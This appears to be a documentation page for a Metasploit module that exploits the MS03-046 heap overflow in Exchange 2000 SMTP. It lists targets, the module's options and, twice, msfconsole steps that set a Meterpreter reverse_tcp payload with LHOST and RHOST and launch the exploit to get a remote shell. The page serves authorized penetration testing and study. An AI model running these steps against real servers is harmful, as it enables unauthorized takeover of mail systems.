MS03-046 Exchange 2000 XEXCH50 Heap Overflow
This is an exploit for the Exchange 2000 heap overflow. Due to the nature of the vulnerability, this exploit is not very reliable. This module has been tested against Exchange 2000 SP0 and SP3 running a Windows 2000 system patched to SP4. It normally takes between one and 100 connection attempts to successfully obtain a shell. This exploit is *very* unreliable.
Exploit Rank
- Good
Exploit Authors
- hdm < hdm [at] metasploit.com >
- patrick < patrick [at] osisecurity.com.au >
Vulnerability References
Exploit Targets
- 0 - Exchange 2000 (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/smtp/mailcarrier_smtp_ehlo
- exploit/windows/smtp/mercury_cram_md5
- exploit/windows/smtp/njstar_smtp_bof
- exploit/windows/smtp/wmailserver
- exploit/windows/smtp/ypops_overflow1
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/smtp/ms03_046_exchange2000_xexch50
msf exploit(ms03_046_exchange2000_xexch50) > show payloads
msf exploit(ms03_046_exchange2000_xexch50) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms03_046_exchange2000_xexch50) > set LHOST [MY IP ADDRESS]
msf exploit(ms03_046_exchange2000_xexch50) > set RHOST [TARGET IP]
msf exploit(ms03_046_exchange2000_xexch50) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/smtp/ms03_046_exchange2000_xexch50
msf exploit(ms03_046_exchange2000_xexch50) > show payloads
msf exploit(ms03_046_exchange2000_xexch50) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms03_046_exchange2000_xexch50) > set LHOST [MY IP ADDRESS]
msf exploit(ms03_046_exchange2000_xexch50) > set RHOST [TARGET IP]
msf exploit(ms03_046_exchange2000_xexch50) > exploit
Exploit Module Options
| ATTEMPTS | The number of exploit attempts before halting (default: 100) |
| MAILFROM | The FROM address of the e-mail (default: random@example.com) |
| MAILTO | The TO address of the e-mail (default: administrator) |
| RHOST | The target address |
| RPORT | The target port (default: 25) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
